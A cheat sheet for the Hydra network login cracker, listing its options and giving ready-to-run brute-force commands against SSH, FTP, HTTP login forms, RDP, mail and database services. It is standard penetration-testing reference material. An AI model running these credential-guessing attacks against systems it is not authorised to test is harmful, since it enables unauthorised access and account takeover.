Hydra Cheatsheet

Hydra is a fast network login cracker that supports numerous attack protocols. It utilizes parallel connections to perform multiple login attempts simultaneously, making it significantly faster than sequential tools.

Installation

Hydra often comes pre-installed on popular penetration testing distributions. To verify:

hydra -h

If not installed:

sudo apt-get -y install hydra

Basic Syntax

hydra [login_options] [password_options] [attack_options] [service_options] service://server

Option	Description	Example
`-l LOGIN`	Single username	`hydra -l admin ...`
`-L FILE`	Username list file	`hydra -L usernames.txt ...`

Password Options

Option	Description	Example
`-p PASS`	Single password	`hydra -p password123 ...`
`-P FILE`	Password list file	`hydra -P passwords.txt ...`
`-x MIN:MAX:CHARSET`	Generate passwords	`hydra -x 6:8:aA1 ...`

The -x option generates passwords on-the-fly:

MIN:MAX specifies the password length range
CHARSET defines the character set: a = lowercase, A = uppercase, 1 = numbers
Custom character sets can be specified directly (e.g., abcdefghijklmnopqrstuvwxyz0123456789)

Attack Options

Option	Description	Example
`-t TASKS`	Number of parallel tasks (threads)	`hydra -t 4 ...`
`-f`	Stop after first successful login	`hydra -f ...`
`-s PORT`	Specify non-default port	`hydra -s 2222 ...`
`-v`	Verbose output	`hydra -v ...`
`-V`	Very verbose output	`hydra -V ...`

Common Services

Service	Protocol	Description	Example
`ftp`	FTP	File Transfer Protocol	`hydra -l admin -P passwords.txt ftp://192.168.1.100`
`ssh`	SSH	Secure Shell	`hydra -l root -P passwords.txt ssh://192.168.1.100`
`http-get`	HTTP GET	Web login (GET)	`hydra -l admin -P passwords.txt http-get://example.com/login`
`http-post`	HTTP POST	Web login (POST)	`hydra -l admin -P passwords.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"`
`smtp`	SMTP	Email sending	`hydra -l admin -P passwords.txt smtp://mail.server.com`
`pop3`	POP3	Email retrieval	`hydra -l user@example.com -P passwords.txt pop3://mail.server.com`
`imap`	IMAP	Remote email access	`hydra -l user@example.com -P passwords.txt imap://mail.server.com`
`rdp`	RDP	Remote Desktop Protocol	`hydra -l administrator -P passwords.txt rdp://192.168.1.100`
`telnet`	Telnet	Remote terminal	`hydra -l admin -P passwords.txt telnet://192.168.1.100`
`mysql`	MySQL	Database	`hydra -l root -P passwords.txt mysql://192.168.1.100`
`postgres`	PostgreSQL	Database	`hydra -l postgres -P passwords.txt postgres://192.168.1.100`

HTTP Form-Based Authentication

For HTTP form-based logins, Hydra uses a specific syntax:

http-post-form "/path/to/login.php:field1=^USER^&field2=^PASS^:failure_string"

^USER^ and ^PASS^ are placeholders replaced with actual credentials
The failure string (after the second :) identifies failed login attempts
Use F= prefix for failure strings (e.g., F=incorrect)

Useful Examples

SSH Brute Force

hydra -l root -P /path/to/passwords.txt -t 4 ssh://192.168.1.100

FTP Brute Force

hydra -L usernames.txt -P passwords.txt ftp://192.168.1.100

HTTP POST Form Attack

hydra -l admin -P passwords.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" 192.168.1.100

RDP with Password Generation

hydra -l administrator -x 6:8:aA1 rdp://192.168.1.100

SSH on Non-Default Port

hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

Stop After First Success

hydra -l admin -P passwords.txt -f ssh://192.168.1.100

Verbose Output

hydra -l admin -P passwords.txt -v ssh://192.168.1.100

RDP with Custom Character Set

hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 rdp://192.168.1.100

Keyboard shortcuts

notebook